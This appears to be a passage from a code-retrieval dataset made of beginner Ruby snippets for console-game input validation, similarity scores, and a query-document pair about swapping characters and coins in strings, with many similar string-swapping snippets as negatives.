elsif option == \"1\"\n user.attack(enemies[0])\n end\nend", "def prompt_user(word_game)\n\n input = nil\n while input == nil\n puts \"\\nPlease guess a letter > \"\n input = gets.chomp.upcase\n begin\n input = Integer(input)\n rescue ArgumentError\n end\n if input.is_a? Integer\n puts \"That's not a letter. Try again.\"\n input = nil\n end\n if input != nil && input.length > 1\n puts \"Please try just one letter at a time.\"\n input = nil\n end\n if word_game.wrong_guesses.include?(input)\n print \"\\nThat letter was already guessed: \"\n input = nil\n end\n end\n return input\nend", "def turn(board)\n # ask the user for input:\n puts \"Please enter 1-9:\"\n # gets the user input\n input = gets.strip\n # calls the input_to_index method\n index = input_to_index(input)\n #validates the input correctly\n if valid_move?(board, index)\n # makes valid move\n move(board, index, \"X\")\n else\n # asks for input again after a failed validation\n turn(board)\n end\n # displays a correct board after a valid turn\n display_board(board)\nend", "def take?(input)\r\n cells[input - 1] == \"X\" || cells[input - 1] == \"O\"\r\n end", "def validate_input_last input\r\n\t\t if @console\r\n\t\t input.match(/\\A[[:alpha:][:blank:]]+\\z/) || (check_enter input)\r\n\t\t else\r\n\t\t input.match(/\\A[[:alpha:][:blank:]]+\\z/) && !(check_enter input)\r\n\t\t end\r\n\t\t end", "def user_input\n\tuser_selection = gets.strip.to_i\n\tinput_logic(user_selection)\nend", "def input args\n if args.state.inputlist.length > 5\n args.state.inputlist.pop\n end\n\n should_process_special_move = (args.inputs.keyboard.key_down.j) ||\n (args.inputs.keyboard.key_down.k) ||\n (args.inputs.keyboard.key_down.a) ||\n (args.inputs.keyboard.key_down.d) ||\n (args.inputs.controller_one.key_down.y) ||\n (args.inputs.controller_one.key_down.x) ||\n (args.inputs.controller_one.key_down.left) ||\n (args.inputs.controller_one.key_down.right)\n\n if (should_process_special_move)\n if (args.inputs.keyboard.key_down.j && args.inputs.keyboard.key_down.k) ||\n (args.inputs.controller_one.key_down.x && args.inputs.controller_one.key_down.y)\n args.state.inputlist.unshift(\"shield\")\n elsif (args.inputs.keyboard.key_down.k || args.inputs.controller_one.key_down.y) &&\n (args.state.inputlist[0] == \"forward-attack\") && ((args.state.tick_count - args.state.lastpush) <= 15)\n args.state.inputlist.unshift(\"dash-attack\")\n args.state.player.dx = 20\n elsif (args.inputs.keyboard.key_down.j && args.inputs.keyboard.a) ||\n (args.inputs.controller_one.key_down.x && args.inputs.controller_one.key_down.left)\n args.state.inputlist.unshift(\"back-attack\")\n elsif ( args.inputs.controller_one.key_down.x || args.inputs.keyboard.key_down.j)\n args.state.inputlist.unshift(\"forward-attack\")\n elsif (args.inputs.keyboard.key_down.k || args.inputs.controller_one.key_down.y) &&\n (args.state.player.y > 128)\n args.state.inputlist.unshift(\"dair\")\n elsif (args.inputs.keyboard.key_down.k || args.inputs.controller_one.key_down.y)\n args.state.inputlist.unshift(\"up-attack\")\n elsif (args.inputs.controller_one.key_down.left || args.inputs.keyboard.key_down.a) &&\n (args.state.inputlist[0] == \"<\") &&\n ((args.state.tick_count - args.state.lastpush) <= 10)\n args.state.inputlist.unshift(\"<<\")\n args.state.player.dx = -15\n elsif (args.inputs.controller_one.key_down.left || args.inputs.keyboard.key_down.a)\n args.state.inputlist.unshift(\"<\")\n args.state.timeleft = args.state.tick_count\n elsif (args.inputs.controller_one.key_down.right || args.inputs.keyboard.key_down.d)\n args.state.inputlist.unshift(\">\")\n end\n\n args.state.lastpush = args.state.tick_count\n end\n\n if args.inputs.keyboard.space || args.inputs.controller_one.r2 # if the user presses the space bar\n args.state.player.jumped_at ||= args.state.tick_count # jumped_at is set to current frame\n\n # if the time that has passed since the jump is less than the player's jump duration and\n # the player is not falling\n if args.state.player.jumped_at.elapsed_time < args.state.player_jump_power_duration && !args.state.player.falling\n args.state.player.dy = args.state.player_jump_power # change in y is set to power of player's jump\n end\n end\n\n # if the space bar is in the \"up\" state (or not being pressed down)\n if args.inputs.keyboard.key_up.space || args.inputs.controller_one.key_up.r2\n args.state.player.jumped_at = nil # jumped_at is empty\n args.state.player.falling = true # the player is falling\n end\n\n if args.inputs.left # if left key is pressed\n if args.state.player.dx < -5\n args.state.player.dx = args.state.player.dx\n else\n args.state.player.dx = -5\n end\n\n elsif args.inputs.right # if right key is pressed\n if args.state.player.dx > 5\n args.state.player.dx = args.state.player.dx\n else\n args.state.player.dx = 5\n end\n else\n args.state.player.dx *= args.state.player_speed_slowdown_rate # dx is scaled down\n end\n\n if ((args.state.player.dx).abs > 5) #&& ((args.state.tick_count - args.state.lastpush) <= 10)\n args.state.player.dx *= 0.95\n end\nend", "def handle_selection(input)\n cases = ['A1','A2','A3','A4','A5','A6',\n 'B1','B2','B3','B4','B5','B6',\n 'C1','C2','C3','C4','C5','C6',\n 'D1','D2','D3','D4','D5','D6',\n 'E1','E2','E3','E4','E5','E6',\n 'F1','F2','F3','F4','F5','F6',\n 'G1','G2','G3','G4','G5','G6']\n\n if !cases.include?(input)\n puts \"Sorry I didn't understand. Which case ? (ex: a2, c3, b1)\"\n return false\n else\n coor = to_coordinate(input)\n x, y = coor[0], coor[1]\n cell = board.get_cell(x, y)\n\n if cell.color != ' '\n puts \"Case already played ! Select another one:\"\n return false\n elsif x != 0 && cell.down && cell.down.color == ' '\n puts \"You can't play there. It's gravity, sorry.\"\n return false\n end\n end\n return true\n end", "def menu_exit\n puts \"\\nPlease type 'Menu' to navigate to the menu, or 'Exit' to exit\"\n puts\"\\n-------------------------------------------------------------------------------------------\"\n input = gets.strip.downcase\n if input == \"menu\"\n menu_items\n elsif input == \"exit\"\n exit_statement\n else\n puts \"\\nDid you mean to type 'menu' or 'exit'?\" # Or do they want to re enter info(next iteration)\n menu_exit\n end\nend", "def user_choice(input = nil)\n loop do\n input ||= gets.chomp.downcase\n break if %w[p i l].include?(input)\n puts \"invalid. (p)lay, (l)oad, or (i)nstructions\"\n input = nil\n end\n input\n end", "def userInput(deck, player, dealer, stop) \n puts \"Hit (h) or stand (s)?\"\n input = gets.chomp()\n\n if input == 'h'\n player.push(*deck.shift)\n showGame(player, dealer)\n elsif input == 's'\n dealerPlay(deck, player, dealer)\n stop = true\n else\n puts 'Please enter a valid instruction'\n userInput(deck, player, dealer, stop)\n end\n\n return stop\nend", "def get_valid_input(input_type, options = {})\n input = nil\n loop do\n input = gets.chomp\n # binding.pry\n if options.has_key?(:result) && input == \"\"\n input = options[:result]\n break\n else\n if input_type == \"num\"\n numeric?(input) || input.upcase == 'Q' ? break : say(\"Numbers only\")\n else\n %w(1 2 3 4 Q).include?(input.upcase) ? break : say(\"1, 2, 3, or 4 only\")\n end\n end\n end\n input\nend", "def play choice, player\n puts \"#{player}'s turn\"\n print \"Enter the input: \"\n input = gets.chomp.split(\",\")\n valid_input_arr = input.filter { |item| item.to_i <= 3 && item.to_i > 0 }\n while input.length != valid_input_arr.length\n puts \"wrong format! Insert the entries in the form: x, y. (where x => row, y => column)\"\n print \"Enter the input: \"\n input = gets.chomp.split(\",\")\n valid_input_arr = input.filter { |item| item.to_i <= 3 && item.to_i > 0 }\n end\n @board[(input[0].to_i) - 1][(input[1].to_i) - 1] = choice\n display_board\n end", "def ask_user_to_pick_move(positions)\n # Ask User for next position\n # Check for acceptable input\n acceptable_input = %w( a b c d e f g h i)\n input = \" \"\n while positions[input.to_sym] != \" \" and acceptable_input.include?(input) and (positions[input.to_sym] != \"x\" or positions[input.to_sym] != \"o\") or positions[input.to_sym] == nil\n input, user_wants_to_quit_bool = raw_input \"Choose move (a - i)\"\n end\n\n input = input.to_sym\n\n return input, user_wants_to_quit_bool\nend", "def process_input\n if state.user_input == :star\n input_star\n elsif state.user_input == :star2\n input_star2\n elsif state.user_input == :target\n input_target\n elsif state.user_input == :target2\n input_target2\n elsif state.user_input == :remove_wall\n input_remove_wall\n elsif state.user_input == :remove_wall2\n input_remove_wall2\n elsif state.user_input == :add_hill\n input_add_hill\n elsif state.user_input == :add_hill2\n input_add_hill2\n elsif state.user_input == :add_wall\n input_add_wall\n elsif state.user_input == :add_wall2\n input_add_wall2\n end\n end", "def valid_selection(*choices)\r\n while true\r\n selection = gets.chomp\r\n if choices.to_s.include?(selection)\r\n return selection.to_i\r\n end\r\n puts \"Invalid choice number, please re-enter\"\r\n end \r\n end", "def handle_user_choice\n ans = nil # track user input\n while true\n puts \"\\nChoose one of the following options.\"\n puts \"1. Enter set.\"\n puts \"2. Redeal cards (if no sets).\"\n ans = gets.chomp.to_i\n\n if ans == 1\n break\n elsif ans == 2\n redeal # redeal cards\n print_cards\n else\n puts \"Invalid input.\"\n end\n end\n\n ans # return user input\nend", "def inputLoop\r\n defaultInfo\r\n printCommands\r\n puts 'Your input:'\r\n input = gets.chomp\r\n while input != 'q'\r\n\r\n if input == 's'\r\n # puts 's selected.'\r\n resolveS\r\n elsif input[0] == 'u'\r\n resolveU(input)\r\n\r\n elsif input == 'v'\r\n resolveV\r\n\r\n elsif input[0] == 'c'\r\n #puts 'c selected.'\r\n resolveC(input)\r\n\r\n\r\n elsif input == 'b'\r\n #puts 'b selected.'\r\n resolveB\r\n elsif input == 'f'\r\n #puts 'f selected.'\r\n resolveF\r\n\r\n elsif input == 'q'\r\n #puts 'q selected. exiting program.'\r\n exit\r\n elsif input == 'z'\r\n defaultInfo\r\n else\r\n puts 'input unknown. try again.'\r\n end\r\n printCommands\r\n puts 'Your input:'\r\n input = gets.chomp\r\n end\r\n\r\n end", "def menu_prompt( input_list, prompt_str )\n # go in to an infinite loop\n while true\n puts menu_print( \"Please choose one option:\", \" \" )\n puts menu_print( prompt_str, \" \")\n # note: even tho the name is the same, this is separate from the\n # var user_response in the procedure outside this method!!! :)\n user_response = gets.chomp.downcase.to_sym\n \n # check user_response against acceptable input list\n if input_list.include?( user_response )\n return user_response # explicit return breaks the loop\n end\n \n puts \"\\n\" + menu_print( \"Sorry, that is not acceptable input...\", \"*\" ) + \"\\n\"\n end\nend", "def get_input\n user = Input.new\n loop do\n input = user.get_input\n return loss(input) if self[input].value == \"O\"\n return reveal_adjacent_cells(input) if !self[input].show\n puts \"Invalid input\"\n end\n end", "def choice_check\n begin\n choice = gets.chop.upcase\n if choice != \"GET\" && choice != \"POST\" && choice != \"EXIT\"\n raise \"Wrong input!\"\n end\n rescue StandardError => e\n puts \"#{e} You can choose between GET, POST and EXIT\"\n retry\n else\n choice\n end \n end", "def turn(board)\n player = current_player(board)\n got_valid = false\n puts \"Please choose a position between 1-9:\"\n while got_valid == false\n user_input = gets.strip\n position = input_to_index(user_input)\n if valid_move?(board, position)\n move(board, position, player)\n display_board(board)\n got_valid = true\n end\n end\nend", "def validate_player_input\n loop do \n input = @player.get_input\n return input if input_is_valid?(input)\n puts \"Invalid input - x,y format and hidden cards only!\" if @player\n end\n end", "def validate_input_1option\n begin\n x = gets.chomp.to_i\n raise \"Incorrect Input\" if x != 1\n return x\n rescue\n puts \"Please Enter 1\"\n validate_input_1option\n end\nend", "def valid_entry(solar_system)\n print 'Select a planet: '\n planet_number = gets.chomp\n\n # If user does not enter a valid name or number they will be prompted to enter again.\n until (planet_number.to_i.to_s == planet_number) && (planet_number.to_i <= solar_system.planets.length && planet_number.to_i > 0)\n print 'Please select a valid number to represent a planet: '\n planet_number = gets.chomp\n end\n planet_number = planet_number.to_i - 1\n planet_number\nend", "def ask_menu_option\n puts 'What would you like to do?'\n puts ''\n puts '1. Start New Game'\n puts '2. Load Game From Save File'\n puts ''\n correct_input = 0\n until correct_input == 1\n print 'Enter a number: '\n option = gets.chomp\n if %w[1 2].include?(option)\n correct_input = 1\n else\n puts 'PLEASE ENTER 1 OR 2'\n end\n end\n puts \"\\n\\n\"\n option\n end", "def do_special_input_stuff(input)\n case input\n when \"save\"\n save\n []\n when \"reset\"\n puts \"Choose different piece:\"\n \"reset\"\n when \"quit\"\n puts \"QUITTING\"\n exit\n else\n false\n end\n end", "def select_difficulty(user)\n system('clear')\n puts \"Choose Difficulty (1-5):\"\n difstr_arr = [\"Easy\",\"Medium\",\"Hard\",\"Expert\",\"Master\"]\n puts \" 1. #{difstr_arr[0]}\"\n puts \" 2. #{difstr_arr[1]}\"\n puts \" 3. #{difstr_arr[2]}\"\n puts \" 4. #{difstr_arr[3]}\"\n puts \" 5. #{difstr_arr[4]}\\n\\n\"\n\n print \">> \"\n input = gets.chomp\n loop do\n case input.to_i\n when 1..5\n intdif = input.to_i\n word = select_word(intdif)\n current_sesh = GameSession.create(user_id: user.id, word_id: word.id)\n current_sesh.start_game\n break\n else\n puts \"Error, #{input} is not 1-5, try again\"\n print \">> \"\n input = gets.chomp\n end\n end\nend", "def scan_letter\n puts 'Enter the next letter. Otherwise, type \"save\" to save your game and quit, or type \"exit\" to quit without saving'\n input = gets.chomp.to_s.downcase.strip\n\n until ((input.match(/[a-z]/) && input.size == 1) || %w[save exit].include?(input)) && [email protected]?(input)\n puts 'Invalid choice, try again'\n input = gets.chomp.to_s.downcase.strip\n end\n\n input\n end", "def turn(array)\r\n puts \"Please enter 1-9:\"\r\n user_input = gets.strip\r\n user_move = input_to_index(user_input)\r\n if valid_move?(array,user_move)\r\n move(array,user_move,current_player(array))\r\n display_board(array)\r\n else \r\n turn(array)\r\n end\r\nend", "def valid_input(input)\n valid = false\n parsed_input = downcase_camelcase_input(input)\n while valid == false\n #accepts uppercase or lowercase Y/N\n if parsed_input == \"Y\" || parsed_input ==\"N\"\n valid = true\n else\n puts \"\\nPlease enter Y or N:\\n\"\n print \"⚡️ \"\n input = gets.chomp.strip\n parsed_input = downcase_camelcase_input(input)\n end\n end\n parsed_input\n end", "def valid_input?(user_input)\n #regex for valid input\n proper_format = /^[a-zA-Z][1-8] [a-zA-Z][1-8]$/ #Example: A1 B2 or c3 G4\n if proper_format.match(user_input)\n move = user_input.split(\" \")\n if move[0] == move[1] #if start and end position are the same\n puts \"Not a valid move! The start and end positions are the same!\"\n puts\n return false\n else #else check other cases\n start_pos = [move[0][1].to_i - 1, @@file_num[move[0][0]]]\n end_pos = [move[1][1].to_i - 1, @@file_num[move[1][0]]]\n if !@board[start_pos] #if nothing at start position\n puts \"There is no piece at #{move[0]}!\"\n puts\n return false\n else #return the move if it passes all other cases\n puts\n return [start_pos, end_pos]\n end\n end\n else\n puts\n puts \"Not a valid input!\"\n puts\n return false\n end\n end", "def get_user_selection\n puts 'Choice (Press enter for first choice):'\n loop do\n choice = STDIN.gets.strip.to_i\n if !choice.nil? && possible_moves.each_index.to_a.include?(choice)\n return choice\n else\n puts \"Please select valid choice.\"\n end\n end\n end", "def menu\n puts '|____________________________________________________________|'\n puts '| |'\n puts '| -- M E N U : |'\n puts '| |'\n puts \"| * Show : 's' |\"\n puts \"| * Quit : 'q' |\"\n puts '|____________________________________________________________|'\n\n input = ''\n loop do\n puts ''\n input = ask ' >> '\n puts ''\n if ['q', 's'].include? input\n break\n else\n puts ' ____________________________________________________________ '\n puts '| |'\n puts '| Invalid input, please try again... |'\n puts '|____________________________________________________________|'\n end\n end\n input\nend", "def player_1_input\n print \"Player 1, it's your turn:\"\n input = gets.chomp.to_i\n\n while input<1 || input>9 || $a[input] != ' '\n if input<1 || input>9\n print \"You need to put a number between 1 and 9, try again:\"\n else\n print \"Sorry, this field is already taken, please choose a different field:\"\n end\n input = gets.chomp.to_i\n end\n \n $a[input]='X'\n\n draw_board\nend", "def option_cour\n input = nil\n while input != \"exit\" do \n puts \"please enter the number of the cours you want to see more about\"\n input = gets.strip.downcase\n if input.to_i != 0 \n cour = @cours[input.to_i-1]\n if cour\n puts \"#{cour.name}\"\n puts \"#{cour.description}\"\n puts \"#{cour.price}\"\n input = nil\n puts \"Please, tape content to see more or tape exit\"\n while input != \"exit\" do\n input = gets.strip.downcase\n if input == \"content\"\n puts \"#{cour.content_title}\"\n puts \"#{cour.content_description}\"\n else\n puts \"Please, tape content to see more or tape exit\"\n end\n end\n else\n puts \"There is no cours associate with this number\"\n end\n elsif input == \"back\"\n cours_list\n else\n puts \"The system don't understand your input. please tape back or exit\"\n end\n \n\n end\n end", "def get_player_selection(board)\n begin # check if the selection is valid\n player_choice = gets.chomp.to_i\n is_valid = get_empty_positions(board).include? player_choice\n if !is_valid\n puts \"Invalid selection! Please select empty squares that are displayed by numeric values only! \"\n end\n end until is_valid\n board[player_choice] = 'X'\nend", "def taken?(input)\n @cells[input.to_i - 1] == \"X\" || @cells[input.to_i - 1] == \"O\"\n end", "def turn (board)\n#Ask the user to tell you where they want to move on the board\n puts \"Please enter 1-9:\"\n#Get the user input\n user_input=gets.strip\n index=input_to_index(user_input)\n # If the move is a valid move, then make the move and display the board\n if valid_move?(board,index)\n move(board,index,\"X\")\n display_board(board)\n#If the user puts in an invalid answer or the space in the array is not free, go back to turn and start over\n else turn(board)\nend\nend", "def user_select_move(combatant) \n validating_input = true\n selected_move = nil\n while validating_input\n # Display useful information to inform player choice before asking for input\n display_healths\n puts display_choices(combatant)\n \n # Get user input\n user_input = gets.chomp.downcase\n system \"clear\"\n search_result = combatant.search_moves(user_input)\n # This is stored in a variable to avoid running the function twice\n # (once for the conditional and once to return on success)\n \n # Check the input\n if search_result != nil # Valid move input\n return search_result \n validating_input = false\n elsif user_input[0] == \"q\" # Valid quit input\n @outcome = :quit # Change bout outcome to inform main.rb of user desire to quit.\n validating_input = false\n else # Invalid input\n slow_puts(\"Invalid input! Please try again.\", delay: 0.5)\n end\n end\n end", "def taken?(user_input)\n position(user_input) == \"X\" || position(user_input) == \"O\" ? true : false\n end" ]
[ "0.66524166", "0.66094834", "0.64985865", "0.63983047", "0.62978", "0.62841994", "0.62351733", "0.6223263", "0.6179913", "0.6142858", "0.6131281", "0.6120149", "0.611138", "0.6096539", "0.60682154", "0.6055419", "0.605384", "0.60415053", "0.6040707", "0.60392374", "0.6032748", "0.6021409", "0.6012998", "0.60044324", "0.59973073", "0.5995171", "0.5993733", "0.59878695", "0.59846497", "0.5982834", "0.59686244", "0.5948522", "0.59478325", "0.59347725", "0.5929732", "0.5921699", "0.5910819", "0.590063", "0.5897717", "0.5886245", "0.58796954", "0.587577", "0.58736056", "0.58700883", "0.5869963", "0.5852669", "0.5843823", "0.58347666", "0.58309984", "0.5824046", "0.58212006", "0.58187276", "0.58088243", "0.58077264", "0.5807582", "0.58046854", "0.5804545", "0.58028096", "0.58010924", "0.57948136", "0.57859564", "0.5783908", "0.5776683", "0.57682246", "0.5763974", "0.5760742", "0.57537496", "0.57518613", "0.57503265", "0.5747946", "0.57454824", "0.57404315", "0.5736291", "0.573509", "0.573227", "0.57318056", "0.57216394", "0.57200813", "0.57167053", "0.570297", "0.57019484", "0.57019", "0.56970274", "0.5696402", "0.56946945", "0.5691038", "0.56906366", "0.56891334", "0.5680601", "0.56801647", "0.56794524", "0.56750023", "0.5659554", "0.5659416", "0.5657727", "0.5657684", "0.56533194", "0.56531763", "0.56513524", "0.5646085" ]
0.7460085
0
swap function swaps the two given indexes within the coins string through converting it to an array then swapping them with the dashes within the array
def swap(index) $coins = $coins.split("") # finding dash indexes dash1 = $coins.index("-") dash2 = $coins.rindex("-") # swapping $coins[index], $coins[dash1] = $coins[dash1], $coins[index] $coins[index+1], $coins[dash2] = $coins[dash2], $coins[index+1] $coins = $coins.join end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def swap(string)\n array = string.split\n swapped_array = array.map do |element|\n element[0], element[-1] = element[-1], element[0]\n element\n end\n swapped_array.join(' ')\nend", "def swap (st1, char1, num1, st2, char2, num2, array)\n\n\ttempST = array[st1]\n\ttempCH = array[char1]\n\ttempNM = array[num1]\n\n\tarray[st1] = array[st2]\n\tarray[char1] = array[char2]\n\tarray[num1] = array[num2]\n\n\tarray[st2] = tempST\n\tarray[char2] = tempCH\n\tarray[num2] = tempNM\n\n\treturn array\n\nend", "def swap_segments\n segs = split(\" - \")\n [segs[1], segs[0], *segs[2..-1]].join(\" - \")\n end", "def swap(str)\n new_arr = str.split\n swapped_arr = new_arr.map do |word|\n word[0], word[-1] = word[-1], word[0]\n word\n end\n swapped_arr.join(' ')\nend", "def swap(string)\n arr = string.split\n arr.map do |word|\n first = word[0]\n second = word[word.size - 1]\n word[0] = second\n word[word.size - 1] = first\n end\n arr.join(\" \")\nend", "def turn(pos1, pos2, coins)\r\n #check if the user adds coins to the beginning or the end of the array\r\n if pos2==0 || pos2==10\r\n temp1=coins[pos1]\r\n temp2=coins[pos1+1]\r\n coins[pos1] = \"-\"\r\n coins[pos1 + 1] = \"-\"\r\n coins.insert(pos2,temp1)\r\n coins.insert(pos2 + 1,temp2)\r\n #check if user adds coins from anywhere else\r\n else\r\n temp1=coins[pos1]\r\n temp2=coins[pos1+1]\r\n coins.delete('-')\r\n coins[pos1] = \"-\"\r\n coins[pos1 + 1] = \"-\"\r\n coins.insert(pos2,temp1)\r\n coins.insert(pos2 + 1,temp2)\r\n end\r\n\r\n #remove any - from the beginning and end of the array\r\n if (coins[0] == '-') || (coins[11] == '-')\r\n coins.delete('-')\r\n end\r\nend", "def swap\n @working_array = @working_array.collect.with_index do |digit, index|\n swapper_map(index)[digit]\n end\n end", "def swap\n @working_array = @working_array.collect.with_index do |digit, index|\n swapper_map(index)[digit]\n end\n end", "def swap(str)\n arr = str.split\n arr.map do |word| \n word[0], word[word.size - 1] = word[word.size - 1], word[0]\n end \n arr.join(' ')\nend", "def swap(input)\n swapped = input.split(' ').map do |word|\n char1 = word[0]\n char2 = word[-1]\n word[0] = char2\n word[-1] = char1\n word\n end\n swapped.join(' ')\nend", "def swap(string)\n arr = string.split(' ')\n\n arr.map! do |word|\n first = word[0]\n word[0] = word[-1]\n word[-1] = first\n word\n end\n\n arr.join(' ')\nend", "def swap(string)\n string = string.split\n new_string = []\n\n\n string.map do |word|\n word = word.chars\n c1 = word[0]\n c2 = word[-1]\n\n word[0] = c2\n word[-1] = c1\n\n new_string << word.join\n\n end\n\n new_string.join(' ')\nend", "def swap(word, index1, index2)\n temp_word = word.dup\n temp_word[index1], temp_word[index2] = temp_word[index2], temp_word[index1]\n return temp_word\nend", "def swap(sentence)\n final = []\n reversed_copy_array = sentence.dup.split.map(&:reverse)\n sentence_array = sentence.split\n zipped = sentence_array.zip(reversed_copy_array)\n zipped.each do |word_set|\n word_set[0][0] = word_set[1][0]\n word_set[0][-1] = word_set[1][-1]\n end\n zipped.each { |word_set| final << word_set[0] }\n final.join(' ')\nend", "def swap(input)\n array = input.split(' ')\n array.map! { |word| word.chars }\n array.map! do |word|\n word[0], word[-1] = word[-1], word[0]\n word.join('')\n end\n array.join(' ')\nend", "def name_swap(name_to_be_altered)\n\t#STEP \t1) Breaking it into a word array\n\n\tname_arrayed = name_to_be_altered.split(' ')\n\t# STEP\t2) Doing a method that switches the first and second elements in the array\n\tname_arrayed.insert(0, name_arrayed.delete_at(1))\nend", "def swap(string)\n string.split.map do |word| \n word[0], word[-1] = word[-1], word[0]\n word\n end.join(\" \")\nend", "def swap(string)\n words = string.split\n swapped_words = words.map do |word|\n swapped = word.dup\n swapped[0] = word[-1]\n swapped[-1] = word[0]\n swapped\n end\n\n swapped_words.join(' ')\nend", "def swap(string)\n\tswapper = string.split\n\tstring = swapper.reverse.join(\" \")\n\tstring.downcase!\n\tvowels = \"aeioua\"\n\tcon = \"bcdfghjklmnpqrstvwxyzb\"\n\tindex = 0\n\tfinal_string = \"\"\n\tstring.length.times do |index|\n\t\tif !con.include?(string[index]) && !vowels.include?(string[index])\n\t\t\tfinal_string.concat(\" \")\n\t\t\telsif vowels.include?(string[index])\n\t\t\tnext_vowel = vowels[vowels.index(string[index]) +1]\n\t\t\tfinal_string << next_vowel\n\t\t\telsif con.include?(string[index])\n\t\t\tnext_con = con[con.index(string[index]) +1]\n\t\t\tfinal_string << next_con\n\t\tend\n\t\tindex += 1\n\tend\n\tfinal_string = final_string.split.map! { |x| x.capitalize }.join(' ')\n\tfinal_string\nend", "def swap(string)\r\nresult = []\r\n\r\nstring.split.map do |word|\r\nfirst = word[0] \r\nlast = word[-1] \r\nword[0] = last\r\nword[-1] = first\r\nresult << word\r\n end\r\n p result.join(' ')\r\nend", "def swap_nums(string)\n words = string.split(\" \")\n words.each do |word| \n word[0], word[word.length - 1] = word[word.length - 1], word[0]\n end\n\n return words.join(\" \")\nend", "def swap(string)\n swapped = string.split(' ').map do |word|\n first_character = word[0]\n last_character = word[-1]\n word[0] = last_character\n word[-1] = first_character\n word\n end\n swapped.join(' ')\nend", "def swap(str)\n arr = str.split(' ')\n arr.each { |word| word[0], word[-1] = word[-1], word[0] }\n arr.join(' ')\nend", "def letter_swap(agent_name)\n vowels = \"aeiou\"\n consonants = \"bcdfghjklmnpqrstvwxyz\"\n letter_swap = agent_name.split(\"\")\n secret_name = []\n letter_swap.map! do |ltr|\n if vowels.include?(ltr)\n secret_name << vowels[vowels.index(ltr)+1]\n elsif consonants.include?(ltr)\n secret_name << consonants [consonants.index(ltr)+1]\n else\n puts \" \"\n end\n end\n\n secret_name.join(\"\").split.map {|ltr| ltr.capitalize}.join(' ').capitalize\n\nend", "def swap(str)\n swapped_str = str.split(' ').map {|word|\n tmp = word[-1]\n word[-1] = word[0]\n word[0] = tmp\n \n word\n }\n \n swapped_str.join(' ')\nend", "def switchPairs(strings)\n highest_index = strings.length - 1\n i = 0\n until i == highest_index\n strings[i], strings[i + 1] = strings[i + 1], strings[i] if i % 2 == 0\n i += 1\n end\n return strings\nend", "def swap(array, index1, index2)\n temp = array[index1]\n array[index1] = array[index2]\n array[index2] = temp\n array\nend", "def swapper(arr, idx_1, idx_2)\n arr[idx_1] = arr[idx_2] # as soon as I execute this line, it will be [\"c\", \"b\", \"c\", \"d\"]\n arr[idx_2] = arr[idx_1] # then, I excute this line, then it will be [\"c\", \"b\", \"c\", \"d\"], which is wrong!\n arr\n\nend", "def place(coinString, selectionIndex, coinsTaken)\r\n\r\n\tlength = coinString.length\r\n\ttempString = coinString\r\n\r\n\t# add extra spaces to the right to place the coins in.\r\n\tif selectionIndex >= coinString.length\r\n\t\ttempString = coinString + \"--\"\r\n\tend\r\n\r\n\t# Split - Convert Strings into Arrays\r\n\tcoinArray = tempString.split(//)\r\n\thandArray = coinsTaken.split(//)\r\n\r\n\t# Place coins in hand into coin array\r\n\tcoinArray[selectionIndex] = handArray[0]\r\n\tcoinArray[selectionIndex+1] = handArray[1]\r\n\r\n\t# Join - Convert Array back into a String\r\n\tcoinStr = \"\"\r\n\tcoinStr = coinArray.join\r\n\r\n\treturn coinStr\r\nend", "def swap(string)\n string.split.each{|e| e[0], e[-1] = e[-1], e[0]}.join(' ')\nend", "def swap_elements_from_to(array,a,b)\n array[a] = array[a]^array[b]\n array[b] = array[b]^array[a]\n array[a] = array[a]^array[b]\nend", "def swap(string)\n arr = []\n string.split(\" \").each do |element|\n arr << element.split(\"\")\n end\n \n swap_arr = []\n arr.each do |e|\n first_char = e.shift\n last_char = e.pop\n swap_arr << e.unshift(last_char).push(first_char)\n end\n \n swap_arr.map! do |el|\n el.join(\"\")\n end\n \n swap_str = swap_arr.join(\" \")\n \n swap_str\nend", "def swap_chars string # my version\n new_string = string.split.map do |word|\n first = word[0]\n word[0] = word[-1]\n word[-1] = first\n word\n end\n new_string.join(' ')\nend", "def reverse(str)\n half = str.length / 2\n half.times do |i|\n swap = str[i]\n str[i] = str[str.length - (i + 1)]\n str[str.length - (i + 1)] = swap\n end\n str\nend", "def swap(array, index_one, index_two)\n temp = array[index_one]\n array[index_one] = array[index_two]\n array[index_two] = temp\nend", "def consenant_swap(name)\r\n name = name.downcase\r\n consenants = \"bcdfghjklmnpqrstvwxyz\"\r\n name_index = 0\r\n cons_index = 0\r\n while name_index < name.length\r\n if name[name_index] == \"a\" || name[name_index] == \"e\" ||name[name_index] == \"i\"|| name[name_index] == \"o\" || name[name_index] == \"u\" || name[name_index] == \" \"\r\n name_index += 1\r\n elsif name[name_index] == \"z\"\r\n name[name_index] = \"b\"\r\n name_index += 1\r\n else\r\n until name[name_index] == consenants[cons_index]\r\n cons_index += 1\r\n end\r\n name[name_index] = consenants[cons_index + 1]\r\n name_index += 1\r\n end\r\n cons_index = 0\r\n end\r\n name\r\nend", "def swap(words)\n swapped = []\n words.split.each do |word|\n word[0], word[-1] = word[-1], word[0]\n swapped << word\n end\n swapped.join(' ')\nend", "def swap(array, first_index, second_index)\n temp = array[first_index]\n array[first_index] = array[second_index]\n array[second_index] = temp\nend", "def swap(array, index1, index2)\n temp = array[index2]\n array[index2] = array[index1]\n array[index1] = temp\nend", "def swap(array, index1, index2)\n temp = array[index2]\n array[index2] = array[index1]\n array[index1] = temp\nend", "def swap(array, a_index, b_index)\n temp = array[a_index]\n\tarray[a_index] = array[b_index]\n\tarray[b_index] = temp\n return array\nend", "def nameswap(name)\n name_reverse = []\n nameary = name.split(' ')\n counter = 1 \n loop do \n name_reverse << nameary[counter]\n counter -= 1\n break if counter < 0\n end\n \n name_reverse.join(', ')\nend", "def swap_name(name)\n #name_array = name.split(' ')\n #\"#{name_array[1]}, #{name_array[0]}\"\n name.split(' ').reverse.join(', ')\nend", "def swap(string)\n # swapped_words = []\n string.split.each do |word|\n word[0], word[-1] = word[-1], word[0]\n # swapped_words << word\n end.join(' ')\n\n # swapped_words\nend", "def swap(str)\n array_of_words = str.split\n\n array_of_words.each do |word|\n first_char = word[0]\n last_char = word[-1]\n\n word[0] = last_char\n word[-1] = first_char\n end\n\n array_of_words.join(' ')\n\nend", "def reverse_in_place(str)\n idx = 0\n while idx < str.length / 2\n # swapped = str[str.length-1-idx]\n # str[str.length-1-idx] = str[idx]\n # str[idx] = swapped\n str[idx], str[str.length-1-idx] = str[str.length-1-idx], str[idx]\n idx += 1\n end\n str\nend", "def swap_letters(word)\n word[0], word[-1] = word[-1], word[0]\n word\nend", "def swap(words_string)\n words_array = words_string.split\n words_array.each { |word| 